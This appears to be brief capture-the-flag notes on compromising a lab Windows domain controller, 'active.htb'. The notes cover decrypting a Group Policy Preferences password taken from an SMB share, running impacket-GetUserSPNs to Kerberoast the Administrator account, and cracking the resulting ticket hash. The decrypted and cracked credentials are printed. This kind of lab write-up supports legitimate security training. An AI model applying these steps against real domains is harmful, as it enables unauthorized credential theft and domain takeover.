Using SMB map we find a share called Replication

In the SMB share we find a groups file with creds \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\preferences\Groups\

edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Googling it the groups.xml file encrypts passwords

Run gpp-decrpyt to decrypt the password

SVC_TGS:GPPstillStandingStrong2k18

This command dumps hashes

impacket-GetUserSPNs -request -dc-ip 10.10.10.100 active.htb/SVC_TGS

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$74ae2a7679d5359b922d861e85bd7c7e$c7e31b43f2d6b953f587e1988252be6b545114915ceb9798271f38a652f47148fac9e011e3837ca39d9bbac0d62c0705401f746b5824fa88c142658bad13585e8b2bcd042ee64e71e4b68fe4e2d78c3338493e07810befa58579c675e211d6cc19973fdf776c6185700f5c84a3139744a1508add6b40576f8be20b16fda80d382c6a86676e281573cef586e51e6df21867066be45f495e4f82f760f1347c5f794330c4916f5c1037cb012b1a4c7d9305be7c7ad6218dfd94c8c41e96f86e2439c7d8a1e4c890acfbf9d1ba099311cb1ed4cf18bc5fceb045282ab8e305c20acfeb87f5e4ad5c9e482e7a6eab033c67fbf4a33e92fe387ec49f5d5e07ad1bd7c02e6232eadc45e5b7e8d9663cc5aaff45423782e238f747a6226b5b357bd32e881ef758141b2641743378dc4ea59470a4823b1e76120a7c884055f8822162a6bac7b9d14f514f67e8fac2766c24488d89fcb4992b7316e2e9c2dd75399fcc679d68b9e422f9b4951fa452bf6911620b1cf25773ed0bf4bf9d7634d53a09dbce07bab2a19ba98f1f933b22fd8a043dc95decbe3e60d60cd49d86fa46178a4763babbf57828dd66541e93d6ae880d12a9dd3412c986b0e3acd0750d3984acd7711c3e886ae68c42f02d53c3d38067c5f9eaed2182da10e63ac8cc744dae791ce044d6b89308793614840cfb5c7457525e1037a8697aea01148ddc022714537c1223906532231aee8746d15a91deab2f5dcb1535b638344b6053fcc58c374f5b537dddaddfdd79e066a62c8273e83b03f968094b4be4b534e9d623d39c27a70dcccabea0d2c68f9afaedac78af9fe41c8303ab6ef6669a490fd4513da2a61038fe7bcc2c156b4681f35bc59e6962875c3c70debec40f88d54640725b5e7c99f608e729909c8ad8ea125865aa73a577164d46f9781674a270ae7dea4ab6a231d616989a7f7506e9e4f3544f85e096d4e92816b790c2222d78520f2f2b180681cf41a171641f3f2371a4afde254e9cdc1cdcd355eaf7fc10eb300534b0ac4884cab0e2e9e30163fd860bb6aea45a0dd6d991773a33046def61f0a7022604bca4dfd7c0bb3bdc20fbdb0f1b55df8d3d4f19a39b5d1dfac3c4c3ea5ba579d21e5065dce1447bb4547be470dc1e732b027963b6db515b0bec474fe5581547f103d627827d589838a55f097cd38e273be0e5e3f1d23db58010689612e59689c93c0f5e63e1bc1659eabf41652c698abf21f5f7a8baaef19a3fff72cf58f0c8

This cracks to Ticketmaster1968

Administrator:Ticketmaster1968